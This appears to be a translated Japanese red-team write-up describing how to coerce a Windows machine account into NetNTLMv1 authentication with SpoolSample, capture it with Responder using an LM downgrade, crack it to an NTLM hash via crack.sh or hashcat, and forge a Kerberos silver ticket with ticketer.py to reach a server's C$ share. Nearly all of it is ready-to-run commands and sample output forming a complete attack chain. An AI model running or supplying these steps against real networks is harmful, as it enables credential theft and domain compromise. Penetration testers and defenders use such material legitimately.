
SpoolSample -> Responder w/NetNTLM ダウングレード -> NetNTLMv1 -> NTLM -> Kerberos Silver Ticket
この手法は他の人々によって示唆されてきましたが、まとまったものは見当たりませんでした。以下では、NetNTLMv1 チャレンジ/レスポンス認証を取得し、それを NTLM ハッシュにクラックし、その NTLM ハッシュを使用して Kerberos シルバーチケットに署名する手順を説明します。
この手法は、"LAN Manager 認証レベル"が 2 以下に設定されているネットワークで機能します。これは、古い大規模な Windows 環境ではかなり一般的なシナリオです。Windows 10 / Server 2016 以降では機能しないはずです。
@tifkin_ (Lee Christensen) の SpoolSample を使用して、マシンアカウントの NetNTLMv1 レスポンスを取得する
@0x31337 (David Hulton) のレインボーテーブルを使用して、その NetNTLMv1 レスポンスを NTLM ハッシュにクラックする
@agsolino (Albert Solino) の ticketer.py を使用して、新たに取得した NTLM ハッシュからシルバーチケットを生成する
Powershell を使用して、Windows ボックスのリストを取得します。通常サーバーが優先されるので、ここではサーバーに焦点を当てましょう。
Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt
少し修正した @mysmartlogin (Vincent Le Toux) の SpoolerScanner を使用して、Spooler サービスがリッスンしているか確認します。
. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
Linux 上で rpcdump.py を使用して、MS-RPRN プロトコルを探すこともできます。
rpcdump.py DOMAIN/USER:[email protected] | grep MS-RPRN
./Responder.py -I eth0 --lm
SpoolSample.exe TARGET RESPONDERIP
または Linux の場合は 3xocyte の dementor.py を使用します。
python dementor.py -d domain -u username -p password RESPONDERIP TARGET
レスポンスの例:
[SMB] NTLMv1 Client : 10.0.0.2
[SMB] NTLMv1 Username : DOMAIN\SERVER$
[SMB] NTLMv1 Hash : SERVER$::DOMAIN:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972:1122334455667788
レインボーテーブルを使用して NTHASH を NTLM に逆算するか、DES の構成要素に分解して hashcat でクラックすることができます。
8 基の 1080 を使用したリグで約 6 日でブルートフォースできるため、レインボーテーブルを検討してください。
レインボーテーブルについては、https://crack.sh/netntlm/ でホストされているサービスがあり、NetNTLMv1 から NTLM を無料で復元してくれます。これは David Hulton (Toorcon) が提供しています。現在、FPGA を必要としないレインボーテーブルとソフトウェアのローカルコピーに取り組んでいます。
crack.sh の場合、フォーマットは NTHASH:(response) です。例では NTHASH:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972 となります。
python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
これにより、以下の出力と手順が返されます。
['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788']
Hostname: DUSTIN-5AA37877
Username: hashcat
Challenge: 1122334455667788
LM Response: 76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D
NT Response: 727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
CT1: 727B4E35F947129E
CT2: A52B9CDEDAE86934
CT3: BB23EF89F50FC595
To Calculate final 4 characters of NTLM hash use:
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
To crack with hashcat create a file with the following contents:
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788
To crack with hashcat:
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
To Crack with crack.sh use the following token
NTHASH:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
このためにいくつかの情報を見つける必要があります: アクセスしたいサービスの SPN、ドメイン SID、ローカル管理者アクセス権を持つドメインユーザーアカウントの SID とアカウント名、そしてそのユーザーがグループベースのローカル管理者である場合はそのユーザーが所属するドメイングループです。
サービスについては、最も一般的なのは cifs/ で、これは HOST/ サービスにマッピングされます。
./ticketer.py -nthash 09e55a127f3d4e4957c77de30000502a -domain-sid S-1-5-21-7375663-6890924511-1272660413 -domain DOMAIN.COM -spn cifs/SERVER.DOMAIN.COM -user-id 123456 -groups 4321 username
export KRB5CCNAME=/root/Assessments/NTLMTest/USERNAME.ccache
smbclient -k //SERVER.DOMAIN.COM/c$ -d
6TB のレインボーテーブルを配布する
@0x31337 の desrtop を FPGA 不要に修正する
マシンアカウント認証をリモートでトリガーする別の方法を特定する